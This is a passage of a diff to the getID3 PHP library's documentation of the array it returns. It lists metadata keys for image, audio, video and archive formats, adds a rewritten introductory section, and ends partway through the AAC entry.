// - ['stream_type']=>string() // - } // - ['eos']=>array() { // - ['flags']=>array() { // - ['bos']=>boolean() // - ['eos']=>boolean() // - ['fresh']=>boolean() // - } // - ['flags_raw']=>integer() // - ['header_end_offset']=>integer() // - ['page_checksum']=>double() // - ['page_end_offset']=>integer() // - ['page_length']=>integer() // - ['page_segments']=>integer() // - ['page_seqno']=>integer() // - ['page_start_offset']=>integer() // - ['pcm_abs_position']=>integer() // - ['segment_table']=>array() { // - []=>integer() // - } // - ['stream_serialno']=>integer() // - ['stream_structver']=>integer() // - } // - } // - ['samplerate']=>integer() // - ['samples']=>integer() // - ['stop_bit']=>integer() // - ['vendor']=>string() // - } // - - - ['png']=>array() { // PNG (Portable Network Graphics) - still image - ['IDAT']=>array() { // - []=>array() { // - ['header']=>array() { // - ['crc']=>integer() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - } // - } // - ['IEND']=>array() { // - ['header']=>array() { // - ['crc']=>double() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - } // - ['IHDR']=>array() { // - ['color_type']=>array() { // - ['alpha']=>boolean() // - ['palette']=>boolean() // - ['true_color']=>boolean() // - } // - ['compression_method_text']=>string() // - ['header']=>array() { // - ['crc']=>double() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - ['height']=>integer() // - ['raw']=>array() { // - ['bit_depth']=>integer() // - ['color_type']=>integer() // - ['compression_method']=>integer() // - ['filter_method']=>integer() // - ['interlace_method']=>integer() // - } // - ['width']=>integer() // - } // - ['PLTE']=>array() { // - ['header']=>array() { // - ['crc']=>double() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - []=>integer() // - } // - ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) - []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) - } // - ['gAMA']=>array() { // - ['gamma']=>double() // - ['header']=>array() { // - ['crc']=>integer() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - } // - ['oFFs']=>array() { // - ['header']=>array() { // - ['crc']=>double() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - ['position_x']=>integer() // - ['position_y']=>integer() // - ['unit']=>string() // - ['unit_specifier']=>integer() // - } // - ['pHYs']=>array() { // - ['header']=>array() { // - ['crc']=>integer() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - ['pixels_per_unit_x']=>integer() // - ['pixels_per_unit_y']=>integer() // - ['unit']=>string() // - ['unit_specifier']=>integer() // - } // - ['pcLb']=>array() { // - ['header']=>array() { // - ['crc']=>double() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - } // - ['tEXt']=>array() { // - ['header']=>array() { // - ['crc']=>integer() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - ['keyword']=>string() // - ['text']=>string() // - } // - ['tIME']=>array() { // - ['day']=>integer() // - ['header']=>array() { // - ['crc']=>integer() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - ['hour']=>integer() // - ['minute']=>integer() // - ['month']=>integer() // - ['second']=>integer() // - ['unix']=>integer() // - ['year']=>integer() // - } // - ['tRNS']=>array() { // - ['header']=>array() { // - ['crc']=>double() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - ['transparent_color_blue']=>integer() // - ['transparent_color_green']=>integer() // - ['transparent_color_red']=>integer() // - } // - ['zTXt']=>array() { // - ['compressed_text']=>string() // - ['compression_method']=>integer() // - ['compression_method_text']=>string() // - ['header']=>array() { // - ['crc']=>double() // - ['data']=>string() // - ['data_length']=>integer() // - ['flags']=>array() { // - ['ancilliary']=>boolean() // - ['private']=>boolean() // - ['reserved']=>boolean() // - ['safe_to_copy']=>boolean() // - } // - ['type_raw']=>double() // - ['type_text']=>string() // - } // - ['keyword']=>string() // - ['text']=>string() // - } // - } // - - - ['quicktime']=>array() { // Quicktime - video/audio - ['']=>array() { // - ['name']=>boolean() // - ['offset']=>integer() // - ['size']=>integer() // - } // - ['audio']=>array() { // - ['bit_depth']=>integer() // - ['channels']=>integer() // - ['codec']=>string() // - ['sample_rate']=>double() // - } // - ['free']=>array() { // - ['name']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - ['mdat']=>array() { // - ['name']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - ['moov']=>array() { // - ['hierarchy']=>string() // - ['name']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - ['subatoms']=>array() // This is an undocumentably-complex recursive array, typically containing a huge amount of seemingly disorganized data. Avoid this like the plague. - } // - ['time_scale']=>integer() // - ['display_scale']=>integer() // 1 = normal; 0.5 = half; 2 = double - ['video']=>array() { // - ['codec']=>string() // - ['color_depth']=>integer() // - ['color_depth_name']=>string() // - ['resolution_x']=>double() // - ['resolution_y']=>double() // - } // - ['wide']=>array() { // - ['name']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - - - ['real']=>array() { // Real (RealAudio / RealVideo) - audio/video - ['chunks']=>array() { // - []=>array() { // - ['file_version']=>integer() // - ['headers_count']=>integer() // - ['length']=>integer() // - ['name']=>string() // - ['object_version']=>integer() // - ['offset']=>integer() // - } // - []=>array() { // - ['avg_bit_rate']=>integer() // - ['avg_packet_size']=>integer() // - ['data_offset']=>integer() // - ['duration']=>integer() // - ['flags']=>array() { // - ['live_broadcast']=>boolean() // - ['perfect_play']=>boolean() // - ['save_enabled']=>boolean() // - } // - ['flags_raw']=>integer() // - ['index_offset']=>integer() // - ['length']=>integer() // - ['max_bit_rate']=>integer() // - ['max_packet_size']=>integer() // - ['name']=>string() // - ['num_packets']=>integer() // - ['num_streams']=>integer() // - ['object_version']=>integer() // - ['offset']=>integer() // - ['preroll']=>integer() // - } // - } // - ['comments']=>array() { // - ['artist']=>string() // - ['comment']=>string() // - ['title']=>string() // - } // - } // - - - ['riff']=>array() { // RIFF (Resource Interchange File Format) - audio/video container format (AVI, WAV, CDDA, etc) - ['AIFC']=>array() { // - ['COMM']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['FVER']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['INST']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['MARK']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['SSND']=>array() { // - []=>array() { // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - } // - ['AIFF']=>array() { // - ['(c) ']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['COMM']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['SSND']=>array() { // - []=>array() { // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - } // - ['AVI ']=>array() { // - ['JUNK']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['hdrl']=>array() { // - ['avih']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['odml']=>array() { // - ['dmlh']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - } // - ['strl']=>array() { // - ['JUNK']=>array() { // - []=>array() { // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['strf']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['strh']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['strn']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - } // - } // - ['idx1']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['movi']=>array() { // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['CDDA']=>array() { // - ['fmt ']=>array() { // - []=>array() { // - ['data']=>string() // - ['disc_id']=>integer() // - ['offset']=>integer() // - ['playtime_frames']=>integer() // - ['playtime_seconds']=>double() // - ['size']=>integer() // - ['start_offset_frame']=>integer() // - ['start_offset_seconds']=>double() // - ['track_num']=>integer() // - ['unknown1']=>integer() // - ['unknown6']=>integer() // - ['unknown7']=>integer() // - } // - } // - } // - ['WAVE']=>array() { // - ['DISP']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['INFO']=>array() { // - ['IART']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['ICMT']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['ICOP']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['IENG']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['IGNR']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['IKEY']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['IMED']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['INAM']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['ISBJ']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['ISFT']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['ISRC']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['ISRF']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['ITCH']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - } // - ['MEXT']=>array() { // - []=>array() { // - ['anciliary_data_length']=>integer() // - ['data']=>string() // - ['flags']=>array() { // - ['anciliary_data_free']=>boolean() // - ['anciliary_data_left']=>boolean() // - ['anciliary_data_right']=>boolean() // - ['homogenous']=>boolean() // - } // - ['offset']=>integer() // - ['raw']=>array() { // - ['anciliary_data_def']=>integer() // - ['sound_information']=>integer() // - } // - ['size']=>integer() // - } // - } // - ['bext']=>array() { // - []=>array() { // - ['author']=>string() // - ['bwf_version']=>integer() // - ['coding_history']=>array() { // - []=>string() // - } // - ['data']=>string() // - ['offset']=>integer() // - ['origin_date']=>string() // - ['origin_date_unix']=>integer() // - ['origin_time']=>string() // - ['reference']=>string() // - ['reserved']=>integer() // - ['size']=>integer() // - ['time_reference']=>integer() // - ['title']=>string() // - } // - } // - ['cart']=>array() { // - []=>array() { // - ['artist']=>string() // - ['category']=>string() // - ['classification']=>string() // - ['client_id']=>string() // - ['cut_id']=>string() // - ['data']=>string() // - ['end_date']=>string() // - ['end_time']=>string() // - ['offset']=>integer() // - ['out_cue']=>string() // - ['post_time']=>array() { // - []=>array() { // - ['timer_value']=>integer() // - ['usage_fourcc']=>string() // - } // - } // - ['producer_app_id']=>string() // - ['producer_app_version']=>string() // - ['size']=>integer() // - ['start_date']=>string() // - ['start_time']=>string() // - ['tag_text']=>array() { // - []=>string() // - } // - ['title']=>string() // - ['url']=>string() // - ['user_defined_text']=>string() // - ['version']=>string() // - ['zero_db_reference']=>integer() // - } // - } // - ['data']=>array() { // - []=>array() { // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['fact']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['fmt ']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - ['rgad']=>array() { // - []=>array() { // - ['data']=>string() // - ['offset']=>integer() // - ['size']=>integer() // - } // - } // - } // - ['audio']=>array() { // - []=>array() { // - ['bitrate']=>integer() // - ['bits_per_sample']=>integer() // - ['channels']=>integer() // - ['codec']=>string() // - ['sample_rate']=>integer() // - } // - ['bits_per_sample']=>integer() // - ['channels']=>integer() // - ['codec_fourcc']=>string() // - ['codec_name']=>string() // - ['sample_rate']=>integer() // - ['total_samples']=>integer() // - } // - ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) - []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) - } // - ['header_size']=>integer() // - ['raw']=>array() { // - ['avih']=>array() { // - ['dwFlags']=>integer() // - ['dwHeight']=>integer() // - ['dwInitialFrames']=>integer() // - ['dwLength']=>integer() // - ['dwMaxBytesPerSec']=>integer() // - ['dwMicroSecPerFrame']=>integer() // - ['dwPaddingGranularity']=>integer() // - ['dwRate']=>integer() // - ['dwScale']=>integer() // - ['dwStart']=>integer() // - ['dwStreams']=>integer() // - ['dwSuggestedBufferSize']=>integer() // - ['dwTotalFrames']=>integer() // - ['dwWidth']=>integer() // - ['flags']=>array() { // - ['capturedfile']=>boolean() // - ['copyrighted']=>boolean() // - ['hasindex']=>boolean() // - ['interleaved']=>boolean() // - ['mustuseindex']=>boolean() // - ['trustcktype']=>boolean() // - } // - } // - ['fact']=>array() { // - ['NumberOfSamples']=>integer() // - } // - ['fmt ']=>array() { // - ['nAvgBytesPerSec']=>integer() // - ['wBitsPerSample']=>integer() // - ['nBlockAlign']=>integer() // - ['nChannels']=>integer() // - ['nSamplesPerSec']=>integer() // - ['wFormatTag']=>integer() // - } // - ['rgad']=>array() { // - ['audiophile']=>array() { // - ['adjustment']=>integer() // - ['name']=>integer() // - ['originator']=>integer() // - ['signbit']=>integer() // - } // - ['fPeakAmplitude']=>double() // - ['nAudiophileRgAdjust']=>integer() // - ['nRadioRgAdjust']=>integer() // - ['radio']=>array() { // - ['adjustment']=>integer() // - ['name']=>integer() // - ['originator']=>integer() // - ['signbit']=>integer() // - } // - } // - ['strf']=>array() { // - ['auds']=>array() { // - []=>array() { // - ['nAvgBytesPerSec']=>integer() // - ['wBitsPerSample']=>integer() // - ['nBlockAlign']=>integer() // - ['nChannels']=>integer() // - ['nSamplesPerSec']=>integer() // - ['wFormatTag']=>integer() // - } // - } // - ['vids']=>array() { // - []=>array() { // - ['biBitCount']=>integer() // - ['biClrImportant']=>integer() // - ['biClrUsed']=>integer() // - ['biHeight']=>integer() // - ['biPlanes']=>integer() // - ['biSize']=>integer() // - ['biSizeImage']=>integer() // - ['biWidth']=>integer() // - ['biXPelsPerMeter']=>integer() // - ['biYPelsPerMeter']=>integer() // - ['fourcc']=>string() // - } // - } // - } // - ['strh']=>array() { // - []=>array() { // - ['dwFlags']=>integer() // - ['dwInitialFrames']=>integer() // - ['dwLength']=>integer() // - ['dwQuality']=>integer() // - ['dwRate']=>integer() // - ['dwSampleSize']=>integer() // - ['dwScale']=>integer() // - ['dwStart']=>integer() // - ['dwSuggestedBufferSize']=>integer() // - ['fccHandler']=>string() // - ['fccType']=>string() // - ['rcFrame']=>integer() // - ['wLanguage']=>integer() // - ['wPriority']=>integer() // - } // - } // - } // - ['rgad']=>array() { // - ['audiophile']=>array() { // - ['adjustment']=>double() // - ['name']=>string() // - ['originator']=>string() // - } // - ['peakamplitude']=>double() // - ['radio']=>array() { // - ['adjustment']=>double() // - ['name']=>string() // - ['originator']=>string() // - } // - } // - ['video']=>array() { // - []=>array() { // - ['codec']=>string() // - ['frame_height']=>integer() // - ['frame_rate']=>double() // - ['frame_width']=>integer() // - } // - } // - ['litewave']=>array() { // http://www.clearjump.com - ['raw']=>array() { // - ['compression_method']=>integer() // 1=lossy; 2=lossless - ['compression_flags']=>integer() // - ['m_dwScale']=>integer() // scalefactor for lossy compression - related to m_wQuality as: $m_wQuality = round((2000 - $m_dwScale) / 20) - ['m_dwBlockSize']=>integer() // number of samples in encoded blocks - ['m_wQuality']=>integer() // quality factor (0=most compressed lossy; 99=best quality lossy; 100=lossless) - ['m_wMarkDistance']=>integer() // distance between marks in bytes - ['m_wReserved']=>integer() // - ['m_dwOrgSize']=>integer() // original file size in bytes - ['m_bFactExists']=>integer() // indicates if 'fact' chunk exists in the original file - ['m_dwRiffChunkSize']=>integer() // riff chunk size in the original file - } // - ['quality_factor']=>integer() // alias of ['raw']['m_wQuality'] - } // - } // - - - ['shn']=>array() { // Shorten - lossless audio compression - ['seektable']=>array() { // - ['length']=>integer() // - ['offset']=>integer() // - ['present']=>boolean() // - } // - ['version']=>integer() // - } // - - - ['swf']=>array() { // SWF - ShockWave Flash (www.openswf.org) - ['header']=>array() { // - ['frame_count']=>integer() // - ['frame_height']=>integer() // - ['frame_width']=>integer() // - ['length']=>integer() // - ['signature']=>string() // - ['version']=>integer() // - } // - ['bgcolor']=>string() // - ['tags']=>array() // - } // - -['tak_audio']=>array() { // TAK - Tom's lossless Audio Kompressor format - ['raw']=>array() { // - ['magic']=>string() // - ['STREAMINFO']=>string() // - ['MD5Data']=>string() // - ['header_data']=>string() // Original wave header data to enable perfect reconstruction - ['footer_data']=>string() // --||-- - } // - ['channels']=>integer() // - ['bits_per_sample']=>integer() // - ['sample_rate']=>integer() // - ['samples']=>integer() // - ['framesize']=>string() // - ['codectype']=>string() // - ['version']=>string() // - ['profile']=>string() // - ['lastframe_pos']=>integer() // - ['last_frame_size']=>integer() // - ['playtime']=>integer() // - ['compressed_size']=>integer() // - ['uncompressed_size']=>integer() // - ['compression_ratio']=>integer() // - } // - - - ['voc']=>array() { // VOC - SoundBlaster VOC audio format - ['blocks']=>array() { // - []=>array() { // - ['bits_per_sample']=>integer() // - ['block_offset']=>integer() // - ['block_size']=>integer() // - ['block_type_id']=>integer() // - ['channels']=>integer() // - ['compression_name']=>string() // - ['compression_type']=>integer() // - ['pack_method']=>integer() // - ['sample_rate']=>integer() // - ['sample_rate_id']=>integer() // - ['stereo']=>boolean() // - ['time_constant']=>integer() // - ['wFormat']=>integer() // - } // - } // - ['compressed_bits_per_sample']=>integer() // - ['header']=>array() { // - ['datablock_offset']=>integer() // - ['major_version']=>integer() // - ['minor_version']=>integer() // - } // - } // - - - ['vqf']=>array() { // VQF - transform-domain weighted interleave Vector Quantization Format (lossy audio) - ['COMM']=>array() { // - ['bitrate']=>integer() // - ['channel_mode']=>integer() // - ['sample_rate']=>integer() // - ['security_level']=>integer() // - } // - ['DSIZ']=>integer() // - ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) - []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) - } // - ['raw']=>array() { // - ['header_tag']=>string() // - ['size']=>integer() // - ['version']=>string() // - } // - } // - - - ['wavpack']=>array() { // WavPack - lossless audio compression - ['bits']=>integer() // - ['crc1']=>double() // - ['crc2']=>integer() // - ['extension']=>string() // - ['extra_bc']=>string() // - ['extras']=>string() // - ['flags_raw']=>integer() // - ['offset']=>integer() // - ['shift']=>integer() // - ['size']=>integer() // - ['total_samples']=>integer() // - ['version']=>integer() // - } // - - - ['zip']=>array() { // ZIP - lossless data compression - ['central_directory']=>array() { // - []=>array() { // - ['compressed_size']=>integer() // - ['compression_method']=>string() // - ['create_version']=>string() // - ['entry_offset']=>integer() // - ['extract_version']=>string() // - ['filename']=>string() // - ['flags']=>array() { // - ['compression_speed']=>string() // - ['data_descriptor_used']=>boolean() // - ['encrypted']=>boolean() // - } // - ['host_os']=>string() // - ['last_modified_timestamp']=>integer() // - ['offset']=>integer() // - ['raw']=>array() { // - ['compressed_size']=>integer() // - ['compression_method']=>integer() // - ['crc_32']=>double() // - ['create_version']=>integer() // - ['disk_number_start']=>integer() // - ['external_file_attrib']=>double() // - ['extra_field_length']=>integer() // - ['extract_version']=>integer() // - ['file_comment_length']=>integer() // - ['filename_length']=>integer() // - ['general_flags']=>integer() // - ['internal_file_attrib']=>integer() // - ['last_mod_file_date']=>integer() // - ['last_mod_file_time']=>integer() // - ['local_header_offset']=>integer() // - ['signature']=>integer() // - ['uncompressed_size']=>integer() // - } // - ['uncompressed_size']=>integer() // - } // - } // - ['comments']=>array() { // - ['comment']=>string() // - } // - ['compressed_size']=>integer() // - ['compression_method']=>string() // - ['compression_speed']=>string() // - ['end_central_directory']=>array() { // - ['comment']=>string() // - ['comment_length']=>integer() // - ['directory_entries_this_disk']=>integer() // - ['directory_entries_total']=>integer() // - ['directory_offset']=>integer() // - ['directory_size']=>integer() // - ['disk_number_current']=>integer() // - ['disk_number_start_directory']=>integer() // - ['offset']=>integer() // - ['signature']=>integer() // - } // - ['entries']=>array() { // - []=>array() { // - ['compressed_size']=>integer() // - ['compression_method']=>string() // - ['extract_version']=>string() // - ['filename']=>string() // - ['flags']=>array() { // - ['compression_speed']=>string() // - ['data_descriptor_used']=>boolean() // - ['encrypted']=>boolean() // - } // - ['host_os']=>string() // - ['last_modified_timestamp']=>integer() // - ['offset']=>integer() // - ['raw']=>array() { // - ['compressed_size']=>integer() // - ['compression_method']=>integer() // - ['crc_32']=>integer() // - ['extra_field_length']=>integer() // - ['extract_version']=>integer() // - ['filename_length']=>integer() // - ['general_flags']=>integer() // - ['last_mod_file_date']=>integer() // - ['last_mod_file_time']=>integer() // - ['signature']=>integer() // - ['uncompressed_size']=>integer() // - } // - ['uncompressed_size']=>integer() // - } // - } // - ['entries_count']=>integer() // - ['files']=>array() { // multidimensional tree-structure array listing of all files and directories in image - []=>array() // entries of type array are directories (key is directory name), may contain files and/or other subdirectories - []=>integer() // entries of type integer are files (key is file name, value is file size in bytes) - } // - ['uncompressed_size']=>integer() // - } // -} // +///////////////////////////////////////////////////////////////// +/// getID3() by James Heinrich // +// available at http://getid3.sourceforge.net // +// or https://www.getid3.org // +// also https://github.com/JamesHeinrich/getID3 // +///////////////////////////////////////////////////////////////// +// // +// changelog.txt - part of getID3() // +// See readme.txt for more details // +// /// +///////////////////////////////////////////////////////////////// + +What does the returned data structure look like? +================================================ + +Hint: If you take a look at the nicely-formatted output of +/demos/demo.browse.php you can generally see where the data you want +is returned. + +Note that what is described below is only a rough guide to what data +is actually returned by getID3(), since the actual data returned +depends entirely on what data is in your file, what type of file it +is, what kind of data is in the tags, etc. In addition, some formats +(Quicktime for example) use a freeform recursive structure that is +impossible to document completely. + +In the vast majority of cases, all the data you'll need is located +in the root of the array or the special arrays described below in +Section 1 (['audio'], ['video'], ['tags_html'], ['replay_gain']). + +It is suggested that for most applications you should use tag data +from the root ['tags_html'] array, as this is the only location +where data is stored in a consistant format: HTML-compatible +character entities (ie Ӓ) for characters outside the 0x20-0x7F +range (printable ISO-8859-1 characters). This data can be used as-is +for output in HTML, and can be converted to whatever character set +you wish to use if the output is not HTML. + +If you want to merge all available tags (for example, ID3v2 + ID3v1) +into one array, you can call +getid3_lib::CopyTagsToComments($ThisFileInfo) +and you'll then have ['comments'] and ['comments_html'] which are +identical to ['tags'] and ['tags_html'] except the array is one +dimension shorter (no tag type array keys). For example, artist is: +['tags_html']['id3v1']['artist'][0] or ['comments_html']['artist'][0] + + +Some commonly-used information is found in these locations: + +File type: ['fileformat'] // ex 'mp3' +Song length: ['playtime_string'] // ex '3:45' (minutes:seconds) + ['playtime_seconds'] // ex 225.13 (seconds) +Overall bitrate: ['bitrate'] // ex 113485.71 (bits-per-second - divide by 1000 for kbps) +Audio frequency: ['audio']['sample_rate'] // ex 44100 (Hertz) +Artist name: ['comments_html']['artist'][0] // ex 'Elvis' (if CopyTagsToComments() is used - see above) + // more than one artist may be present, you may want to use implode: + // implode(' & ', ['comments_html']['artist']) + + +///////////////////////////////////////////////////////////////// + +array() { + // SECTION 1: Values that are present for most or all file types + + ['getID3version']=>string() // version of getID3() that scanned this file (ex: '1.6.2') + ['error']=>array() // if present, contains one or more fatal error messages + ['warning']=>array() // if present, contains one or more non-fatal warning messages + ['exist']=>boolean() // does this file actually exist? + ['fileformat']=>string() // one of the standard filetype abbreviations ('mp3', 'riff', 'quicktime', etc) + ['filename']=>string() // filename only, no path + ['filenamepath']=>string() // full filename with path + ['filepath']=>string() // path to file, not including filename + ['filesize']=>integer() // filesize in bytes + ['md5_file']=>string() // md5 hash of entire file + ['md5_data']=>string() // md5 hash of portion of file excluding prepended and appeneded metainformation tags (ID3, APE, etc) - may be identical to ['md5_file'] + ['md5_data_source']=>string() // md5 hash of original source file before compression (currently used by FLAC, OptimFROG, WavPack v4+) + ['sha1_file']=>string() // sha1 hash of entire file + ['sha1_data']=>string() // sha1 hash of portion of file excluding prepended and appeneded metainformation tags (ID3, APE, etc) - may be identical to ['md5_file'] + ['avdataoffset']=>integer() // offset in bytes where audio/video data starts and prepended tags end + ['avdataend']=>integer() // offset in bytes where audio/video data ends and appended tags start + ['bitrate']=>double() // average bitrate for entire file (all audio/video streams), in bits per second + ['mime_type']=>string() // if present, MIME type of scanned file + ['playtime_seconds']=>double() // playing time of file, in seconds + ['playtime_string']=>string() // playing time of file, formatted as : + ['tags']=>array() // array of all metainformation tags present in file ('id3v1', 'id3v2', 'ape', 'riff', 'asf', etc) + ['audio']=>array() { + ['bitrate']=>double() // average bitrate for audio portion of file (all audio streams), in bits per second + ['bitrate_mode']=>string() // 'cbr' (Constant Bit Rate) or 'vbr' (Variable Bit Rate) + ['bits_per_sample']=>integer() // + ['channelmode']=>string() // 'mono' or 'stereo' + ['channels']=>integer() // number of audio channels + ['codec']=>string() // name of audio compression codec + ['compression_ratio']=>double() // ratio of compressed byte size of audio to uncompressed size + ['dataformat']=>string() // one of the standard filetype abbreviations ('mp3', 'wma', etc) + ['encoder']=>string() // name and version of encoder used to create file, if known + ['lossless']=>boolean() // true = lossless compression; false = lossy compression + ['sample_rate']=>integer() + } + ['video']=>array() { + ['bitrate']=>integer() // average bitrate for video portion of file (all video streams), in bits per second + ['bitrate_mode']=>string() // 'cbr' (Constant Bit Rate) or 'vbr' (Variable Bit Rate) + ['bits_per_sample']=>integer() // + ['codec']=>string() // name of video compression codec + ['compression_ratio']=>double() // ratio of compressed byte size of video to uncompressed size + ['dataformat']=>string() // one of the standard filetype abbreviations ('avi', 'mpeg', etc) + ['encoder']=>string() // name and version of encoder used to create file, if known + ['frame_rate']=>double() // frames per second + ['lossless']=>boolean() // true = lossless compression; false = lossy compression + ['resolution_x']=>integer() // horizontal dimension of video/image in pixels + ['resolution_y']=>integer() // vertical dimension of video/image in pixels + ['pixel_aspect_ratio']=>double() // pixel display aspect ratio + } + ['tags']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) + []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) + } + ['tags_html']=>array() { // identical to ['tags'], but with all entries converted to HTML entities as appropriate from various source encodings + []=>array() // + } + ['replay_gain']=>array() { // replay gain information combined from any source that contains this information (LAME, ID3v2, Vorbis, APE, etc) + ['audiophile']=>array() { + ['adjustment']=>double() + ['originator']=>string() + ['peak']=>double() + } + ['radio']=>array() { + ['adjustment']=>double() + ['originator']=>string() + ['peak']=>double() + } + } + + + // SECTION 2: Values that are present for specific file types only + + ['aac']=>array() { // AAC - Advanced Audio Coding / MPEG-4 + ['bitrate_distribution']=>array() // + 